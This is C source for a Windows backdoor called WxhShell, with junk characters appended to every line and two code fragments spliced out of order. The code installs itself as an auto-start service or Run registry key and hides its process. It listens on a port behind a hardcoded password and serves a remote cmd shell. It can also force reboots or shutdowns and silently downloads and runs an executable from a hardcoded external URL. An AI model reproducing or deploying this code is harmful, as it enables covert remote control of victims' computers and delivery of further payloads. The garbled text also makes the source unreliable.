    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j#f&!&G5<&  
    else { uLM_KZ  
    closesocket(wsh); +CT$/k  
    ExitThread(0); eNFUjDm  
    } ODEXQl}R  
    break; wjJ1Psnx  
    } '5U$`Xe1  
  // 关机 R6XMBYK^  
  case 'd': { m4wTg 8LJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ["<(\v9P)  
    if(Boot(SHUTDOWN)) jTr 4A-"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;NeP&)Td  
    else { ,<^HB+{Wo  
    closesocket(wsh); ha=z<Q  
    ExitThread(0); => =x0gsgj  
    } ,`zRlkX  
    break; i)i)3K2  
    } I)6Sbt JV^  
  // 获取shell I uj=d~|>  
  case 's': { 77d`N  
    CmdShell(wsh); `Qf :PX3  
    closesocket(wsh); \cP'#jZz  
    ExitThread(0); 1qe^rz|  
    break; %UQB?dkf$  
  } 'kvFU_)  
  // 退出 N-9gfG  
  case 'x': { ue"?S6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *v ^"4  
    CloseIt(wsh); Sp,Q,Q4  
    break; O)uM&B=  
    } 1cBhcYv"  
  // 离开 EE6|9K>  
  case 'q': { bTGK@~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y9li<u<PF  
    closesocket(wsh); Xb-c`k~_  
    WSACleanup();  ,nR8l  
    exit(1); |u r~s$8y-  
    break; YB~t|m65  
        } JlQT5k  
  } ~<- ci  
  } V?59 .TJ  
uyt-q|83=  
  // 提示信息 :wZ`>,K"t>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B"9hQb  
} iv+jv2ZF%  
  } d5"EvT  
8]":[s6x  
  return; <>i+R#u{  
} n qLAby_  
-5v.1y=!L  
// shell模块句柄 mv*T=N8fC  
int CmdShell(SOCKET sock) kj!7|1i2  
{ Au} ;z6k  
STARTUPINFO si; ^;$a_$ |  
ZeroMemory(&si,sizeof(si)); ]Y&)98  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |;9 A{#zM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !u { "] T:  
PROCESS_INFORMATION ProcessInfo; Z/kaRnG[@t  
char cmdline[]="cmd"; p_qm}zp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :LiDJF  
  return 0; Z3So|M{v  
} xY'qm8V  
Vt=(2d5:p  
// 自身启动模式 (F[/~~  
int StartFromService(void) O+p-1 C$\  
{ tNuCxb-  
typedef struct 3E}NiD\V}  
{ j8Q5d`  
  DWORD ExitStatus; E< CxKY9  
  DWORD PebBaseAddress; mzE$aFu8  
  DWORD AffinityMask; Mq :'-`  
  DWORD BasePriority; plx/}ah8  
  ULONG UniqueProcessId; ~8xh0TSi  
  ULONG InheritedFromUniqueProcessId; +lgF/y6  
}   PROCESS_BASIC_INFORMATION; gMBQtPNM  
2K rqY  
PROCNTQSIP NtQueryInformationProcess; L;M^>{>  
4:Xj-l^D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; " Z2Tc)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vdT+,x`  
Rw}2*5#y  
  HANDLE             hProcess; *e3L4 7"G  
  PROCESS_BASIC_INFORMATION pbi; g"]<J &  
n!ZP?]FR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uOl(-Zq@  
  if(NULL == hInst ) return 0; #W@% K9  
x, Vh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4Wla&yy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Y"35)CR)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Esbeb7P  
nl'J.dJe  
  if (!NtQueryInformationProcess) return 0; yMbcFDlBr  
<Hh5u~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;4kx>x*H  
  if(!hProcess) return 0; te;Ox!B&  
@0ov!9]Rw-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &cu] vw  
*hZ~i{c,7  
  CloseHandle(hProcess); N$%61GiulT  
>{ECyh;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i9;27tT~<  
if(hProcess==NULL) return 0; }*.:Hv"  
uGa(_ut  
HMODULE hMod; 'l' X^LMD  
char procName[255]; 0n*rs=\VG  
unsigned long cbNeeded; V Z2.w4b  
Bzu(XQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /1 US,  
pymx\Hd,  
  CloseHandle(hProcess); $!F&>=o  
7}d$*C  
if(strstr(procName,"services")) return 1; // 以服务启动 E#<7\ p>  
EvqUNnjR  
  return 0; // 注册表启动 18.Y/nZAgQ  
} f^!11/Wv  
2 {mY:\  
// 主模块 #u8*CA9  
int StartWxhshell(LPSTR lpCmdLine) Sf'i{xye  
{ $-$5ta{s  
  SOCKET wsl; v~V;+S=gz  
BOOL val=TRUE; X:G& 5  
  int port=0; QJ a4R  
  struct sockaddr_in door; -_2Dy1  
dd \bI_  
  if(wscfg.ws_autoins) Install(); [xtK"E#  
8Wdkztp/S  
port=atoi(lpCmdLine); Ii~; d3.  
0{0;1.ZP  
if(port<=0) port=wscfg.ws_port; PyC;f8n'(  
;48P vw>g}  
  WSADATA data; TRgY:R_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M8^.19q;  
b&=]S(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7.Ml9{M/i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <`c25ih.4  
  door.sin_family = AF_INET; v9E+(4I9_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &<gUFcw7Ui  
  door.sin_port = htons(port); 7szls71/=  
rDIhpT)a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K08 iPIkQ  
closesocket(wsl); Cq?',QU6j  
return 1; _YH<YOrMh  
} #0P!xZ'|{  
;JOD!|  
  if(listen(wsl,2) == INVALID_SOCKET) { "H5&3sF2  
closesocket(wsl); *>e~_{F  
return 1; |x d@M-ln  
} j:HH#U  
  Wxhshell(wsl); A$7Eo`Of  
  WSACleanup(); Lzh9DYU6  
<Zig Co w  
return 0; M[h 1>}$Lz  
,^.S0;D,Z  
} s8t f@H4r  
j';n8|Y9  
// 以NT服务方式启动 $42Au2Jg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E7rX1YdR  
{ o-SRSu  
DWORD   status = 0; C!!mOAhJ  
  DWORD   specificError = 0xfffffff; H9%l?r5  
[urH a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )UR1E?'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J#6LSD@ (O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n&_YYEHx  
  serviceStatus.dwWin32ExitCode     = 0; @<vF]\Ce  
  serviceStatus.dwServiceSpecificExitCode = 0; _/|8%])  
  serviceStatus.dwCheckPoint       = 0; G$cxDGo  
  serviceStatus.dwWaitHint       = 0; HR[Q ?rg  
'Z\{D*=V8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TT|-aS0l(u  
  if (hServiceStatusHandle==0) return; ob0~VEH-  
LkaG8#m1R  
status = GetLastError(); M$,Jg5Dc  
  if (status!=NO_ERROR) davvI$TA  
{ k?^%hO>[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,q8(]n 4  
    serviceStatus.dwCheckPoint       = 0; (-bRj#  
    serviceStatus.dwWaitHint       = 0; nc<qbN  
    serviceStatus.dwWin32ExitCode     = status; "YuZ fL`bb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9n_ eCb)H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XK1fHfCEa  
    return; Tv`_n2J`2  
  } /r-8T>m  
+jcdf}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4w@v#H@  
  serviceStatus.dwCheckPoint       = 0; N%O[  
  serviceStatus.dwWaitHint       = 0; a|UqeNI{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r k@UsHy  
} -dl}_   
gk"mr_03  
// 处理NT服务事件,比如:启动、停止 D2Y&[zgv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F b1EMVu  
{ `Gf{z%/  
switch(fdwControl) SLSF <$  
{ GL/  KB  
case SERVICE_CONTROL_STOP: /a%*u6z@  
  serviceStatus.dwWin32ExitCode = 0; 9QX4R<"wUg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l#Yx TY  
  serviceStatus.dwCheckPoint   = 0; DK)u)?!  
  serviceStatus.dwWaitHint     = 0; Fl<(m  
  { K~USK?Q%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CP +4k.)*O  
  } Wt(Kd5k0'2  
  return; %Hh3u$Y,  
case SERVICE_CONTROL_PAUSE: "s% 686Vz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j?( c}!}  
  break;  ?J<T  
case SERVICE_CONTROL_CONTINUE: :H{Bb{B%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i9KTX%s5^  
  break; {-Yee[d<?  
case SERVICE_CONTROL_INTERROGATE: <p09oZ{6  
  break; [ qiOd!  
}; INOH{`}Ew  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N9pwWg&<+  
} &1=g A.ZR  
t{~@I  
// 标准应用程序主函数 Hv3W{|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (e(Rr 4  
{ )R~a;?T_c0  
2@fa rx:  
// 获取操作系统版本 +1x)z~q=  
OsIsNt=GetOsVer(); zFOL(s.h|0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !Pw$48cg  
q=njKC  
  // 从命令行安装 ;:U<ce=  
  if(strpbrk(lpCmdLine,"iI")) Install(); O'OFz}x),  
+Jdm #n?_  
  // 下载执行文件 Gp,'kw"I  
if(wscfg.ws_downexe) { :v_w!+,/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x=h0Fq ,T  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4HW;  
} )XpV u  
b9y)wBC%`  
if(!OsIsNt) { G,B?&gFX  
// 如果时win9x,隐藏进程并且设置为注册表启动 r4EoJyt  
HideProc(); ~zMDY F"&  
StartWxhshell(lpCmdLine); n%*tMr9s  
} XwtAF3oz  
else B_cgWJ*4  
  if(StartFromService()) :Z[(A"dA  
  // 以服务方式启动 6i| ~7md,  
  StartServiceCtrlDispatcher(DispatchTable); ! j{CuA/  
else iyc$)"w  
  // 普通方式启动 O)`Gzx*ShU  
  StartWxhshell(lpCmdLine); v[VC2D  
e]+7DE  
return 0; w [L&*  
} 1#]B^D  
O~atNrHD  
7u|%^Ao6  
{d,?bs)  
=========================================== \TZ|S,FS  
bH,M,xIL2  
-8/JP  
rfc|`*m}0  
K>$qun?5  
lQWBCJ8y  
" >%l:Dw\A:  
oJh"@6u6K  
#include <stdio.h> TVYz3~m  
#include <string.h> e:BDQU  
#include <windows.h> c`ftd>]  
#include <winsock2.h> Sj@15 W  
#include <winsvc.h> )%t7\1)B3  
#include <urlmon.h> :WO{xg  
W/=7jM   
#pragma comment (lib, "Ws2_32.lib") <cj}:H *  
#pragma comment (lib, "urlmon.lib") B 2Z0  
\OT6L'l],  
#define MAX_USER   100 // 最大客户端连接数 $cu]_gu  
#define BUF_SOCK   200 // sock buffer +X[8wUm|^  
#define KEY_BUFF   255 // 输入 buffer SwX@I6huM  
n7S; Xve#  
#define REBOOT     0   // 重启 djfU:$!j&  
#define SHUTDOWN   1   // 关机 >9MS" t  
83Uw  
#define DEF_PORT   5000 // 监听端口 Y0}4WWV  
i(Vm!Y82  
#define REG_LEN     16   // 注册表键长度 7VY8CcL  
#define SVC_LEN     80   // NT服务名长度 x%pRDytA  
y] y9'5_  
// 从dll定义API Hr&Ere8.4p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E?_ zZ2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wt:~S/l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +<{m45  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] );NnsG  
^o bC4(  
// wxhshell配置信息 ; [FLT:$  
struct WSCFG { 03Ukw/D&  
  int ws_port;         // 监听端口 h\FwgkJP  
  char ws_passstr[REG_LEN]; // 口令 ) P%4:P  
  int ws_autoins;       // 安装标记, 1=yes 0=no t H,sql)  
  char ws_regname[REG_LEN]; // 注册表键名 ?M~  k$  
  char ws_svcname[REG_LEN]; // 服务名 h;nQxmJ9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^N{k6>;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,\x$q'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tpZ->)1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wj tft%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4kh8W~i;/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =+\$e1Mb*  
O+b6lg)q  
}; r>O|L%xpv  
\OY}GRKt  
// default Wxhshell configuration /?U!y?t&@  
struct WSCFG wscfg={DEF_PORT, b`zET^F  
    "xuhuanlingzhe", {mf.!Xev  
    1, }^ ,q#'  
    "Wxhshell", =J xFp, Xr  
    "Wxhshell", O"iak  
            "WxhShell Service", >jKjh!`)!e  
    "Wrsky Windows CmdShell Service", 1mix+.d  
    "Please Input Your Password: ", XL~>rw<  
  1, |T y=7d,  
  "http://www.wrsky.com/wxhshell.exe", G1[(F`t>  
  "Wxhshell.exe" p#=;)1  
    }; EZ{\D!_Y  
+q-c 8z  
// 消息定义模块 ]!faA\1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LQ>$ >A(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; abSq2*5K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wASX\D }  
char *msg_ws_ext="\n\rExit."; GFt1  
char *msg_ws_end="\n\rQuit."; \Z'/+}^h  
char *msg_ws_boot="\n\rReboot..."; shzG Eb  
char *msg_ws_poff="\n\rShutdown..."; tah }^  
char *msg_ws_down="\n\rSave to "; D2]ZMDL.  
}I'^./za  
char *msg_ws_err="\n\rErr!"; ?0) @jc=  
char *msg_ws_ok="\n\rOK!"; Q.E_:=*H  
EBwK 7c  
char ExeFile[MAX_PATH]; In+^V([u+_  
int nUser = 0; 'kEG.Oq7  
HANDLE handles[MAX_USER]; bvp)r[8h  
int OsIsNt; bl$j%gI%,  
(Vap7.6;_  
SERVICE_STATUS       serviceStatus; Z'ao[CG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7_%2xewV|  
.)t (:)*b  
// 函数声明 {2 EMz|&8  
int Install(void); o3\,gzJ  
int Uninstall(void); 9 rS, ?  
int DownloadFile(char *sURL, SOCKET wsh); Z /h|\SyJ  
int Boot(int flag); ONfyYM?  
void HideProc(void); (!-;T  
int GetOsVer(void); Km"&mT $  
int Wxhshell(SOCKET wsl); UFf,+4q  
void TalkWithClient(void *cs); #D0W7 a  
int CmdShell(SOCKET sock); ib; yu_  
int StartFromService(void); 0 Az/fzJlz  
int StartWxhshell(LPSTR lpCmdLine); ^Et ,TF\  
8W$L:{ez  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H`5Ct  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x=vK EyS@  
l=NAq_?N\  
// 数据结构和表定义 70=(. [^+  
SERVICE_TABLE_ENTRY DispatchTable[] = M}KZG'7  
{ ?S9Nm~vlt  
{wscfg.ws_svcname, NTServiceMain}, ; h9W\Se  
{NULL, NULL} W0|_]"K-  
}; tvT4S  
B%mtp;) P  
// 自我安装 D:)~%wu Lt  
int Install(void) OEI3eizgH  
{ XR+rT  
  char svExeFile[MAX_PATH]; #<]Iz'\`  
  HKEY key; Wp`C:H  
  strcpy(svExeFile,ExeFile); 3C#RjA-2[  
zb?kpd}r  
// 如果是win9x系统,修改注册表设为自启动 7*MU2gb  
if(!OsIsNt) { o$t &MST?i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3(o7co-f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f B7ljg  
  RegCloseKey(key); <5k&)EoT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F^miq^K=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DyIV/  
  RegCloseKey(key); -!~vA+jw1  
  return 0; kF?S 2(vH  
    } ]zcV]Qj$~  
  } RAwk7F3qn  
} =Sa~\k+  
else { | +fwvi&a  
pND48 g;  
// 如果是NT以上系统,安装为系统服务 )vQNiik#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aP_3C_  
if (schSCManager!=0) &#-[Y:?lA  
{ >Zo-wYG  
  SC_HANDLE schService = CreateService ee^4KKsh\  
  ( jr:drzr{I  
  schSCManager, |eF.ZC)QWh  
  wscfg.ws_svcname, ,H@TYw  
  wscfg.ws_svcdisp, PU"S;4m  
  SERVICE_ALL_ACCESS, K.%z;( U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Gx*'B=  
  SERVICE_AUTO_START, CWBbSGk  
  SERVICE_ERROR_NORMAL, ?R282l  
  svExeFile, { Hr>X  
  NULL, FCAJavOGH  
  NULL, H4 =IY  
  NULL, U1jSUkqb  
  NULL, I:HV6_/^-G  
  NULL ]1tN|ODY*W  
  ); PF`:1;P U  
  if (schService!=0) m|mG;8}pI  
  { hwp/jO:7\  
  CloseServiceHandle(schService); "h$D7 mL  
  CloseServiceHandle(schSCManager); xY+A]Up|w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a}w&dE$!-  
  strcat(svExeFile,wscfg.ws_svcname); pJn>oGeJ&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @BXaA0F4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kn. iyR  
  RegCloseKey(key); {o {#]fbO%  
  return 0; |veBq0U  
    } t"tNtLI  
  } C`pan /t  
  CloseServiceHandle(schSCManager); =O,e97  
} gkLr]zv  
} E}t-N  
OoSa95#x  
return 1; *5^ze+:  
} TD%WJ9K\  
Fos1WH?\  
// 自我卸载 1&}G+y  
int Uninstall(void) v >NTh  
{ kHZKj!!R  
  HKEY key; so'eZ"A:  
TZkTz P[  
if(!OsIsNt) { pIL`WE1'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  *6'_5~G  
  RegDeleteValue(key,wscfg.ws_regname); hl}dgp((  
  RegCloseKey(key); [-QK$~[ g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h%u? lW  
  RegDeleteValue(key,wscfg.ws_regname); Sw[=S '(l  
  RegCloseKey(key); P^ by'b+zI  
  return 0; J09ZK8 hK  
  } *x5o=)Y  
} 27$\sG|g  
} N!Rt;Xm2@  
else { wAPO{3  
 X+\0%|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7@3M]5:3g  
if (schSCManager!=0) !SN6 ?Xy  
{ m[{nm95QZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %N!h38N2  
  if (schService!=0) JW2W>6Dgv[  
  { %sYk0~E  
  if(DeleteService(schService)!=0) { =GLYDV  
  CloseServiceHandle(schService); f7 K8m|  
  CloseServiceHandle(schSCManager); omr:C8T>  
  return 0; -B",&yTV  
  } XPrY`,kN  
  CloseServiceHandle(schService); Fv<]mu  
  } Gl=@>Dc%  
  CloseServiceHandle(schSCManager); &MBOAHhze  
} I)qKS@  
} j^:b-:F  
A-}PpH~.Z  
return 1; +ESX.Vel  
} !:&2+%  
S`iM.;|`O  
// 从指定url下载文件 nsy !p5o  
int DownloadFile(char *sURL, SOCKET wsh) zR_9D}  
{ ^o,y5 ,  
  HRESULT hr; m21QN9(i%  
char seps[]= "/"; TZ)(ZKX*R  
char *token; l@ (t^68OD  
char *file; Z(#XFXd  
char myURL[MAX_PATH]; _ak.G=  
char myFILE[MAX_PATH]; \t[ hg  
ikeJDKSG  
strcpy(myURL,sURL); 9*"[pt+tA  
  token=strtok(myURL,seps); W5 M ]  
  while(token!=NULL) XT\Td}>  
  { 'cWlY3%t  
    file=token; Z{Lmd`<w`j  
  token=strtok(NULL,seps); ~]jx+6k]  
  } N.ItyV  
EG8%~k+R  
GetCurrentDirectory(MAX_PATH,myFILE); Fa Qu$q  
strcat(myFILE, "\\"); M p}!+K  
strcat(myFILE, file); Nu>sp,|A  
  send(wsh,myFILE,strlen(myFILE),0); +F#=`+V  
send(wsh,"...",3,0); BHIZHp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sqgD?:@J  
  if(hr==S_OK) ]=O{7#  
return 0; UXXqE4x  
else zEnC[~W  
return 1; fq)Ohb  
mg/C Ux  
} \k2C 5f  
WoC\a^V  
// 系统电源模块 1)nM#@%](h  
int Boot(int flag) +-xSuR,  
{ 1_p[*h  
  HANDLE hToken; h Kp,4D>2_  
  TOKEN_PRIVILEGES tkp; ^^20vwq  
UtHmM,*I  
  if(OsIsNt) { AIIBd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "H/2r]?GT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D~[ N_  
    tkp.PrivilegeCount = 1; w yuJSB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Iqe=#hUFe!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0jl:Yzo&\  
if(flag==REBOOT) { RBMMXJj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3}.mp}K 5  
  return 0; 0`aHwt/F  
} >n@>h$]  
else { 3M`hn4)K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uaZ"x& oZ#  
  return 0; ru(?a~lF8~  
} =N[V{2}q  
  }  (9'G  
  else { o}j_eH l{  
if(flag==REBOOT) { 'Kt4O9=p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Hh &u .  
  return 0; < |]i  
} Rz])wBv e  
else { S|z(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =X%R*~!#Of  
  return 0; 9/8@  
} [5}cU{M  
} wd2P/y42;;  
W? 6  
return 1; "OlI-^y  
} ys~p(  
NUxAv= xl  
// win9x进程隐藏模块 tOlzOBzR  
void HideProc(void) 9phD5b~j  
{ 9>} (]T  
!Ed<xG/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *cb D&R\  
  if ( hKernel != NULL ) (<AM+|  
  { { 8|Z}?I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Oaso >  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZQJw2LAgO  
    FreeLibrary(hKernel); !pF KC)  
  } [W8iM7D  
|n-a\  
return; 7!` C TE  
} 8gu7f;H/k  
#7cf 8y  
// 获取操作系统版本 F(J!dG5#  
int GetOsVer(void) %'D:bi5  
{ 4p/V6kr&r  
  OSVERSIONINFO winfo; A<*tn?M]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tZc.%TU  
  GetVersionEx(&winfo); =":V WHf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =."WvBKg  
  return 1; iu:p &h  
  else iA{chQBr  
  return 0; p1`'1`.3  
} gen3"\Og{  
7p"~:1hU  
// 客户端句柄模块 6m;wO r  
int Wxhshell(SOCKET wsl) J?HZ,7X:  
{ +-KRp1qq  
  SOCKET wsh; <}x|@u  
  struct sockaddr_in client; V }r_   
  DWORD myID; cvLcre% >A  
4)>\rqF+v  
  while(nUser<MAX_USER) *M**h-p2'  
{ \Vhp B   
  int nSize=sizeof(client); ah&plaVzC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "351s3ff  
  if(wsh==INVALID_SOCKET) return 1; #VMBn}   
N%M>,wT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BzG!Rg|J  
if(handles[nUser]==0) `- uZv  
  closesocket(wsh); (^@;`8Dy8  
else uBL~AC3>O  
  nUser++; xr7<(:d  
  } :O @,Z_"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X:} 5L> '  
*MyS7<  
  return 0; vng8{Mx90*  
} >=q!!'$:  
6[Pr<4J  
// 关闭 socket %_X[{(  
void CloseIt(SOCKET wsh) =w>>7u$4  
{ 4@V<Suw  
closesocket(wsh); B #V 4  
nUser--; )*QTxN  
ExitThread(0);  "lnk  
} + 1%^c(3  
=jd=Qs IL  
// 客户端请求句柄 pa> 2JF*  
void TalkWithClient(void *cs) 1_E3DXe  
{ ^ {]sD}Q"  
HuLm!tCu  
  SOCKET wsh=(SOCKET)cs; `5 v51TpH  
  char pwd[SVC_LEN]; 9QM"JEu@  
  char cmd[KEY_BUFF]; :Tl6:=B  
char chr[1];  sCf(h  
int i,j; kpMM%"=V  
}mS0{rxD4  
  while (nUser < MAX_USER) { r3bvuq,6$  
A,CPR0g%  
if(wscfg.ws_passstr) { 0{Ll4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pUEok+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W&re;?Z{ke  
  //ZeroMemory(pwd,KEY_BUFF); Q9'p3"yoE  
      i=0; $4~}_phi  
  while(i<SVC_LEN) { a_fW {;}[  
`\FjO"  
  // 设置超时 o5G"J"vxe  
  fd_set FdRead; s$y#Ufz  
  struct timeval TimeOut; /v ;Kb|e  
  FD_ZERO(&FdRead); a0W\?  
  FD_SET(wsh,&FdRead); arH\QPaka'  
  TimeOut.tv_sec=8; J,M5<s[Xqt  
  TimeOut.tv_usec=0; 36Y[7 m=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I z=w2\r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (w:ACJ[[  
F>-@LOqHy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s\1_-D5]Z  
  pwd=chr[0]; .nY6[2am  
  if(chr[0]==0xd || chr[0]==0xa) { g4qdm{BL  
  pwd=0; xwp?2,<  
  break; WatLAn+  
  } 5 nIlG  
  i++; qO3BQ]UF  
    } r0uXMr=Z96  
wdDHRW0Y  
  // 如果是非法用户,关闭 socket JY8"TQ$x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %[CM;|?B4  
} {EHG |  
HaN _}UMP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4g^+y.,r_f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rxk{Li<9  
\osQwGPV  
while(1) { :Ty*i  
+&8Ud8Q  
  ZeroMemory(cmd,KEY_BUFF); :\;uJ5  
Y_YIJ@  
      // 自动支持客户端 telnet标准   <%JO 3E  
  j=0; cQ ;Ry!$  
  while(j<KEY_BUFF) { 8t \>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A|OC?NZY  
  cmd[j]=chr[0]; b1^Yxe#L  
  if(chr[0]==0xa || chr[0]==0xd) { BiCa "  
  cmd[j]=0; Sg~A'dG  
  break; zi[M{bm  
  } M{RZ-)IC  
  j++; ? Z fhz   
    } q;~>h  
fhWD>;%F%  
  // 下载文件 u`2k6.-  
  if(strstr(cmd,"http://")) { O7*i;$!R  
